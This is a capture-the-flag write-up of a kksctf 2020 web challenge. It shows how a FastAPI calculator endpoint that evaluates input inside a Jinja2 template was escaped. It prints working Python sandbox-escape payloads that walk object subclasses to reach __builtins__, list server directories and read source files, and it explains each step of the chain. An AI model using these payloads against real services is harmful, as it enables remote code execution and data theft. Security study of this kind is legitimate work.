Writeup: kksctf 2020 - Str4nge S3cr3t Sit3
Information
- category: web
- points: 612
- topic: python jail escape
Description
Thanks for your reports at cypherpunk2077!
We found a new secret website, please, can you check it for any hidden information?
Writeup
The page presented at the provided link prompts the user to “look around” for more information, and no endpoint from the
previous challenge (cypherpunk2077) seems to be exposed (/reports
).
A quick look at the source provides a not-so-useful hint:
1 | <div class="l-about__box" style="top: 31.1111vh; left: 0px;"> |
The comment is probably referring to Philip K. Dick’s novel, “Do Androids Dream of Electric Sheep?”, which was “Blade
Runner”‘s original title. Now back to the challenge.
Checking robots.txt
reveals two interesting routes.
1 | User-agent: HeaderLess-Robots |
Obviously, accessing those endpoints doesn’t provide any actual flag.
1 | "flag? No. You don't need it" |
But what those routes highlight is something that was present on the first challenge as well:
1 | HTTP/1.1 200 OK |
The x-powered-by
header shows that the API we are trying to access has been implemented
using FastApi, a “modern, fast (high-performance), web framework for building APIs
with Python 3.6+”.
Going through FastApi docs shows some interesting routes: FastApi provides docs-generation out of the box, and (as
stated here) it’s accessible through the /docs
(Swagger based
docs) or /redoc
(Redoc based docs) paths.
Checking out /docs
revealse a strange looking endpoint, Do Kek.
The Swagger generated docs, in particular, allow a quick interaction with the api, all directly
from the browser.
By providing a mathematical expression to the endpoint through the calc_req
parameter it’s possible to obtain the
result as a response: what’s interesting is how the endpoint behaves when not provided with a mathematical expression.
1 | # 1 + 2 + 3 |
This seems to allow some interesting python expressions, which could mean eval
or some similar instruction is being
run on the provided input (this does not affect the additional_text
parameter though).
Requesting for some more useful python instruction leads to errors:
1 | # __import__("os") |
This could revolve around being allowed code execution inside some sort of jailed environment. Trying with something
more complicated yields better results:
1 | # ().__class__ |
It might be possible to build a payload starting from that, such as
1 | ().__class__.__bases__[0].__subclasses__()[140]()._module.__builtins__["__import__"]("os") |
which could be way more dangerous than an harmless calculator; time for the actual payload (more details about the
payload’s contents later).
1 | # ().__class__.__bases__[0].__subclasses__()[140]()._module.__builtins__["__import__"]("os").listdir() |
One useful thing could be extracting the server source code
thorugh ().__class__.__bases__[0].__subclasses__()[140]()._module.__builtins__["open"]("main.py","rt").read()
, which
gives back this beauty:
1 | { |
Here’s the same thing but beautified (thanks @eciavatta
)
1 |
|
which shows our code gets executed inside a jinja2
template (do_kek
function).
Since the flag doesn’t seem to be in this directory, and that the source code refers to t
as a sub-directory, we can
list it the same way we did before:
1 | # ().__class__.__bases__[0].__subclasses__()[140]()._module.__builtins__["__import__"]("os").listdir("t") |
The first file seems particularly juicy, let’s take a peek inside
1 | # ().__class__.__bases__[0].__subclasses__()[140]()._module.__builtins__["open"]("t/calc_or_not_to_calc.jhtml","rt").read() |
Boring explanation of the payload
()
refers to atuple
object.__class__
allows access to the class reference oftuple
.__bases__[0]
refers to the first base class oftuple
, which isobject
.__subclasses__()[140]()
goes through the loaded subclasses ofobject
, and by listing them locally (e.g. the
following piece of code) one can determine the approximate index for the desired class (in our
case,warnings.catch_warnings
was at index 139 locally, but 140 remotely).1
2for i,c in enumerate(().__class__.__bases__[0].__subclasses__()[140]):
print(i,c)._module
accesses thewarnings
python module.__builtins__
is a constant exposed inside every module, containing python global builtin functions
From __builtins__
it’s possible to access import
, open
and many other builtin functions, allowing for actual code
execution.
Flag
kks{jinj4_inj3cti0ns_c4n_t4k3_y0u_t0_dr34m5}
Fails
Accessing the endpoint from Burp instead of using the Swagger-generated docs ¯_( ͠° ͟ʖ ͠° )_/¯